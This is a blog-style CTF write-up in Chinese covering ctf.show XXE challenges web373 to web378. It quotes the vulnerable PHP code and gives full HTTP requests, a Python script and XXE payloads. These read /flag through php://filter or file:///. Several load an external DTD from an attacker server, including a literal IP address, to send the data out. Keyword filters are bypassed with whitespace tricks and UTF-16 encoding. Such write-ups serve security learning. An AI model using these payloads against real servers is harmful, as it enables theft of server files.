web373-web374

传送门:

XXE学习记录 | Ed3n’s Blog

web375

先看源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

与上题的区别是多了如下代码:

if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}

相当于是不能出现 <?xml version="1.0"

方法一:

不要不就好了?web374 的做法也没有加 <?xml version="1.0" encoding="UTF-8"?>。那就和 web374 做法一致就行

方法二:

<?xml version="1.0"中的空格后加个换行符,发包内容为:

POST / HTTP/1.1
Host: b9bd31cd-52ff-4eb0-b2b2-9ae0b6528086.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

<?xml
version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd">
%dtd;
]>

成功接收到 flag

image-20240327172210794

方法三:

<?xml version="1.0"中的空格后再加个空格,发包内容为:

POST / HTTP/1.1
Host: b9bd31cd-52ff-4eb0-b2b2-9ae0b6528086.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd">
%dtd;
]>

成功接收到 flag

image-20240327173015025

web376

先看源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:23:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

与上题的区别是多了如下代码:

if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}

相当于是不能出现 <?xml version="1.0" 及其大小写。emmmm… web375 的绕过方法好像也没有大小写绕过啊?

那就直接用 web375 的方法好了

web377

先看源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

与上题的区别是多了如下代码:

if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}

相当于是不能出现 <?xml version="1.0"http 及其大小写

我们先看一下原 payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://81.71.4.233:8000/XXE.dtd">
%dtd;
]>

有一个 encoding="UTF-8" 的参数,那么我们就可以考虑除了 UTF-8 以外的其他编码,可以从 XML 编码 | 菜鸟教程 (runoob.com) 中查看。

那我们取其中一个试试看:

先写一个编码转换的脚本(转 Unicode):

utf8_str = input("utf-8:")

unicode_str = utf8_str.encode('utf-16')

print("Unicode:", unicode_str)

编码后为:

b'\xff\xfe<\x00?\x00x\x00m\x00l\x00 \x00v\x00e\x00r\x00s\x00i\x00o\x00n\x00=\x00"\x001\x00.\x000\x00"\x00 \x00e\x00n\x00c\x00o\x00d\x00i\x00n\x00g\x00=\x00"\x00U\x00T\x00F\x00-\x008\x00"\x00?\x00>\x00\n\x00\n\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00t\x00e\x00s\x00t\x00 \x00[\x00\n\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00%\x00 \x00f\x00i\x00l\x00e\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00/\x00r\x00e\x00a\x00d\x00=\x00c\x00o\x00n\x00v\x00e\x00r\x00t\x00.\x00b\x00a\x00s\x00e\x006\x004\x00-\x00e\x00n\x00c\x00o\x00d\x00e\x00/\x00r\x00e\x00s\x00o\x00u\x00r\x00c\x00e\x00=\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00\n\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00%\x00 \x00d\x00t\x00d\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x00v\x00p\x00s\x00-\x00i\x00p\x00:\x008\x000\x000\x000\x00/\x00X\x00X\x00E\x00.\x00d\x00t\x00d\x00"\x00>\x00\n\x00%\x00d\x00t\x00d\x00;\x00\n\x00]\x00>\x00\n\x00'

但是直接放 Burp 里传不知道为什么成功不了

试了 python 爬虫倒是成功了:

import requests

url = "http://819c130f-b2e1-4626-b9f8-8326d5ececbc.challenge.ctf.show/"

data = """<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd">
%dtd;
]>
"""

data = data.encode('utf-16')
res = requests.post(url=url, data=data)
print(res.text)

image-20240402200146457

web378

f12 发现可疑代码:

<script type='text/javascript'> 
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>

这段代码是一个 JavaScript 函数,名为doLogin(),它执行用户登录的操作。具体功能如下:

  1. 获取用户输入的用户名和密码:

    • 通过$("#username").val()获取用户名输入框的值,存储在变量username中。
    • 通过$("#password").val()获取密码输入框的值,存储在变量password中。
  2. 检查用户名和密码是否为空:

    • 如果用户名或密码为空,则弹出警告框提示用户输入用户名和密码,并返回,不继续执行登录操作。
  3. 构建XML格式的数据:

    • 使用用户输入的用户名和密码构建一个XML格式的字符串,如<user><username>user123</username><password>pass123</password></user>,存储在变量data中。
  4. 发送Ajax请求:

    • 使用$.ajax()方法发送 POST 请求到 URL 为 “doLogin”。
    • 设置请求头的内容类型为 XML ,编码为 UTF-8 。
    • 发送构建好的 XML 数据。
    • 期望响应的数据类型为 XML 。
    • 设置anysc为 false ,表示同步请求。
    • 定义请求成功的回调函数和请求失败的回调函数。
  5. 处理响应:

    • 如果请求成功,从响应中提取codemsg,根据code的值显示不同的消息在页面上。
    • 如果请求失败,显示错误消息在页面上。

显然又是 XXE,输入 admin/admin 后看他发送的包更加明了一些:

image-20240402201520838

payload 反而比前面几道简单:

<!DOCTYPE XEE [
<!ENTITY payload SYSTEM "file:///flag">
]>

<user>
<username>
&payload;
</username>
<password>
&payload;
</password>
</user>

image-20240402201914912